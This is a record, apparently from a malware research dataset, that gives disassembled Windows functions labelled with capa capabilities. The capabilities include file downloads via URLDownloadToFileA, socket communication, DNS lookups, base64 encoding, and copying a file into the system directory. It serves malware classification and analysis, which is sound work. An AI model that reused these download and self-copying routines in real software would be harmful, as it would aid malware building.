joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405980
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405bb0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405a03
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405bb0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405a03
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405bcc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405a8c
xor eax, eax
push ebp
push 0x405a85
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004057c8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405a6a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405bec
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405a6a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a8c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405ba6
cmp byte [ebp - 0xd], 0
jne 0x405ad3
cmp byte [ebp - 0x12], 0
je 0x405ba6
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405aec
dec ebx
cmp byte [ebx], 0x2e
je 0x405afb
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405aeb
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405ba6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405b38
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405ba6
cmp byte [ebp - 0xd], 0
je 0x405ba6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405ba6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405a8c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405bb0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405a03
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405bb0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405a03
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405bcc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405a8c
xor eax, eax
push ebp
push 0x405a85
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004057c8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405a6a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405bec
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405a6a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a8c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405ba6
cmp byte [ebp - 0xd], 0
jne 0x405ad3
cmp byte [ebp - 0x12], 0
je 0x405ba6
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405aec
dec ebx
cmp byte [ebx], 0x2e
je 0x405afb
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405aeb
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405ba6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405b38
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405ba6
cmp byte [ebp - 0xd], 0
je 0x405ba6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405ba6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40623c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4062a2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404994
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040340c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40628c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4062a9
lea eax, [ebp - 0x10]
call fcn.00404724
ret

Function at 0x40a760
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a799
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404814
jmp 0x40a7a2
mov eax, ebx
mov edx, esi
call fcn.00404778
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a7ac
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a7cd
mov al, byte [esp]
jmp 0x40a7cf
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40ae54
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40accc
mov eax, dword [0x41b6c4]
cmp byte [eax], 0
je 0x40aed0
mov eax, dword [0x41b5e0]
call fcn.00402d60
call fcn.0040276c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00407fd8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40af18
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40af06
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x41b5b4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x41c660]
call fcn.0040578c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40bbb4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40bc18
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404994
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407b98
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bc1f
lea eax, [ebp - 0xc]
call fcn.00404724
ret

Function at 0x414864
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bb0
mov eax, dword [ebp - 8]
call fcn.00404bb0
xor eax, eax
push ebp
push 0x4148f2
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4148cb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404bc0
push eax
mov eax, dword [ebp - 4]
call fcn.00404bc0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4148d7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4148f9
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404748
ret

Function at 0x414990
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bb0
xor eax, eax
push ebp
push 0x414a2c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x41c8b8], 0
jle 0x414a11
push 0x414a40
push dword [0x41c8a4]
push 0x414a54
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404a80
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404d04
test eax, eax
jle 0x4149f2
cmp dword [0x41ca5c], 0
jne 0x414a11
push 0
mov eax, dword [ebp - 4]
call fcn.004049c0
push eax
lea eax, [ebp - 4]
call fcn.00404c18
push eax
mov eax, dword [0x41c8b8]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414a33
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404748
ret
Function at 0x4156e8
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bb0
xor eax, eax
push ebp
push 0x41582f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00404724
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x4157fa
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00404bc0
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4157f0
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x4157e6
cmp dword [ebp - 4], 0
jne 0x4157d2
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.0040491c
mov edx, dword [ebp - 0x198]
mov eax, 0x415848
call fcn.00404d04
dec eax
je 0x4157e5
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.0040491c
mov edx, dword [ebp - 0x19c]
mov eax, 0x415854
call fcn.00404d04
dec eax
je 0x4157e5
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.0040491c
jmp 0x4157f0
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.0040491c
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x415763
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x415804
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415836
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.00404748
lea eax, [ebp - 4]
call fcn.00404724
ret
Function at 0x415858
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bb0
xor eax, eax
push ebp
push 0x4159aa
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x4159c0
mov dl, 1
mov eax, dword [0x413790]
call fcn.00413840
mov ebx, eax
push 0x1a0b
mov ecx, 0x4159d0
mov edx, 0x4159e0
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 8]
mov esi, eax
mov eax, ebx
call fcn.00403ad4
push 0x41c8bc
mov dl, 1
mov al, 2
call fcn.00406758
push eax
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x41c8b8], eax
cmp dword [0x41c8b8], 0xffffffff
je 0x41598f
mov word [0x41c8a8], 2
push esi
call sub.wsock32.dll_htons
mov word [0x41c8aa], ax
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.004156e8
mov eax, dword [ebp - 0xc]
call fcn.00404bc0
push eax
call sub.wsock32.dll_inet_addr
mov dword [0x41c8ac], eax
push 0x10
push 0x41c8a8
mov eax, dword [0x41c8b8]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x41598a
lea eax, [ebp - 8]
call fcn.00414d1c
push 0x4159f0
push dword [ebp - 8]
push 0x415a00
push dword [ebp - 8]
push 0x415a0c
push dword [ebp - 8]
push 0x415a28
lea eax, [ebp - 0x10]
mov edx, 7
call fcn.00404a80
mov eax, dword [ebp - 0x10]
call fcn.00414990
push 0x415a34
push dword [ebp - 8]
push 0x415a28
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00404a80
mov eax, dword [ebp - 0x14]
call fcn.00414990
call fcn.00414dec
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4159b1
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00404748
ret

Function at 0x415e74
Capabilities:
Get socket status

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov eax, ecx
mov esi, 0x3e8
cdq
idiv esi
mov dword [esp], eax
mov eax, ecx
mov ecx, 0x3e8
cdq
idiv ecx
imul eax, edx, 0x3e8
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 8], eax
cmp eax, 0x40
jge 0x415eb2
mov dword [esp + eax*4 + 0xc], ebx
inc dword [esp + 8]
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x10c
pop esi
pop ebx
ret
Function at 0x415ecc
Capabilities:
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor edi, edi
mov dword [ebp - 0x14], 1
xor esi, esi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
push 0x11
push 2
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x415fce
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.0040676c
mov word [ebp - 0x28], 2
push 0x35
call sub.wsock32.dll_htons
mov word [ebp - 0x26], ax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
call fcn.00404bc0
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.wsock32.dll_sendto
inc eax
jne 0x415f61
push ebx
call sub.wsock32.dll_closesocket
jmp 0x415fce
cmp dword [ebp - 0x14], 0
jle 0x415fc6
mov ecx, 0xbb8
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00415e74
test eax, eax
jle 0x415fc6
lea eax, [ebp - 0x14]
push eax
push 0x4004667f
push ebx
call sub.wsock32.dll_ioctlsocket
inc eax
jne 0x415f92
cmp dword [ebp - 0x14], 0
jle 0x415fc6
mov eax, dword [ebp - 0x14]
add eax, esi
cmp eax, dword [ebp + 8]
jle 0x415fa1
add esi, dword [ebp - 0x14]
jmp 0x415fc6
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
push ebx
call sub.wsock32.dll_recvfrom
mov edi, eax
add esi, edi
add dword [ebp - 0x18], esi
cmp dword [ebp - 0x14], 0
jg 0x415f67
mov edi, esi
push ebx
call sub.wsock32.dll_closesocket
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4163b0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
test dl, dl
je 0x4163c7
add esp, 0xfffffff0
call fcn.00403d1c
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404bb0
xor eax, eax
push ebp
push 0x416438
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x415afc]
call fcn.00415b64
mov dword [esi + 0xc], eax
lea eax, [esi + 8]
mov edx, dword [ebp - 4]
call fcn.00404778
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, esi
call fcn.00415ce8
mov eax, esi
call fcn.00416224
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41643f
lea eax, [ebp - 4]
call fcn.00404724
ret
Function at 0x416510
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov esi, dword [eax]
mov edi, dword [ecx]
mov eax, ebx
mov ecx, 3
xor edx, edx
div ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
lea ecx, [0x41b500]
xor eax, eax
xor ebx, ebx
xor edx, edx
cmp dword [ebp - 4], 0
je 0x416594
mov word [ebp - 0xa], 0
inc word [ebp - 0xa]
lodsw ax, word [esi]
mov bl, al
shr bl, 2
mov dl, byte [ebx + ecx]
mov bh, ah
and bh, 0xf
rol ax, 4
and ax, 0x3f
mov dh, byte [eax + ecx]
mov ax, dx
stosw word es:[edi], ax
lodsb al, byte [esi]
mov bl, al
shr bx, 6
mov dl, byte [ebx + ecx]
and al, 0x3f
xor ah, ah
mov dh, byte [eax + ecx]
mov ax, dx
stosw word es:[edi], ax
cmp word [ebp - 0xa], 0x13
jne 0x41658f
mov ax, 0xa0d
stosw word es:[edi], ax
mov word [ebp - 0xa], 0
dec dword [ebp - 4]
jne 0x416543
cmp dword [ebp - 8], 0
je 0x4165e4
xor eax, eax
xor ebx, ebx
xor edx, edx
lodsb al, byte [esi]
shl ax, 6
mov bl, ah
mov dl, byte [ebx + ecx]
dec dword [ebp - 8]
je 0x4165cf
shl ax, 2
and ah, 3
lodsb al, byte [esi]
shl ax, 4
mov bl, ah
mov dh, byte [ebx + ecx]
shl edx, 0x10
shr al, 2
mov bl, al
mov dl, byte [ebx + ecx]
mov dh, 0x3d
jmp 0x4165de
shr al, 2
mov bl, al
mov dh, byte [ebx + ecx]
shl edx, 0x10
mov dh, 0x3d
mov dl, 0x3d
mov eax, edx
ror eax, 0x10
stosd dword es:[edi], eax
mov esp, ebp
pop ebp
ret

Function at 0x416660
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bb0
xor eax, eax
push ebp
push 0x416710
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00404724
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x4166eb
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00404bc0
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4166e1
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x4166da
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.0040491c
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x4166c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4166f5
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x416717
lea eax, [ebp - 4]
call fcn.00404724
ret
Function at 0x41677c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push ebx
xor edx, edx
mov dword [ebp - 0x80c], edx
mov dword [ebp - 0x810], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bb0
xor eax, eax
push ebp
push 0x416849
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x805]
mov edx, 0x801
call fcn.0040676c
push 0
push 0x801
lea eax, [ebp - 0x805]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
inc eax
je 0x41681c
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x810]
lea edx, [ebp - 0x805]
mov ecx, 0x801
call fcn.00404994
mov eax, dword [ebp - 0x810]
mov ecx, 3
mov edx, 1
call fcn.00404c20
mov eax, dword [ebp - 0x80c]
mov edx, dword [ebp - 4]
call fcn.00404b0c
je 0x416820
xor ebx, ebx
jmp 0x416823
or ebx, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x416850
lea eax, [ebp - 0x810]
mov edx, 2
call fcn.00404748
lea eax, [ebp - 4]
call fcn.00404724
ret
Function at 0x418db4
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
xor edx, edx
mov dword [ebp - 0x1e8], edx
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bb0
xor eax, eax
push ebp
push 0x418f63
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1dc]
mov eax, dword [ebp - 4]
call fcn.00418fc8
mov eax, dword [ebp - 0x1dc]
call fcn.00418bb0
test eax, eax
jne 0x418f38
lea edx, [ebp - 0x1e0]
xor eax, eax
call fcn.00402938
mov edx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 4]
call fcn.00404b0c
je 0x418f38
lea eax, [ebp - 8]
call fcn.00404724
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00418a9c
cmp dword [ebp - 8], 0
je 0x418f38
mov edx, dword [ebp - 8]
mov eax, 0x418f78
call fcn.00404d04
test eax, eax
jg 0x418f38
push 0
mov eax, dword [ebp - 4]
call fcn.00404bc0
push eax
lea edx, [ebp - 0x1e4]
xor eax, eax
call fcn.00402938
mov eax, dword [ebp - 0x1e4]
call fcn.00404bc0
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x418f38
push 0x418fac
lea eax, [ebp - 0x1e8]
call fcn.00418d28
push dword [ebp - 0x1e8]
push 0x418fb8
mov eax, dword [ebp - 8]
call fcn.004049c0
lea edx, [ebp - 0x1ec]
call fcn.00418a58
push dword [ebp - 0x1ec]
push 0x418fc4
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.00404a80
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d8]
call fcn.00402cb0
lea eax, [ebp - 0x1d8]
call fcn.00402a4c
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d8]
call fcn.00404db0
call fcn.00402d6c
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1d8]
call fcn.00404db0
call fcn.00402d6c
lea eax, [ebp - 0x1d8]
call fcn.00402e2c
mov eax, dword [0x41b59c]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418f6a
lea eax, [ebp - 0x1ec]
mov edx, 5
call fcn.00404748
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404748
ret

Function at 0x419bd0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
xor eax, eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x419caf
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00404994
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 4]
mov ecx, 0x419cc4
call fcn.00404a0c
push 0
mov eax, dword [ebp - 4]
call fcn.00404bc0
push eax
lea edx, [ebp - 0x10c]
xor eax, eax
call fcn.00402938
mov eax, dword [ebp - 0x10c]
call fcn.00404bc0
push eax
call sub.kernel32.dll_CopyFileA
push 0x419cd4
push 0x419ce0
push 0x419cfc
push 0x419d04
call sub.kernel32.dll_WritePrivateProfileStringA
mov eax, 0x419d14
call fcn.00419aec
test al, al
jne 0x419c89
push 0
call sub.kernel32.dll_ExitProcess_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419cb6
lea eax, [ebp - 0x10c]
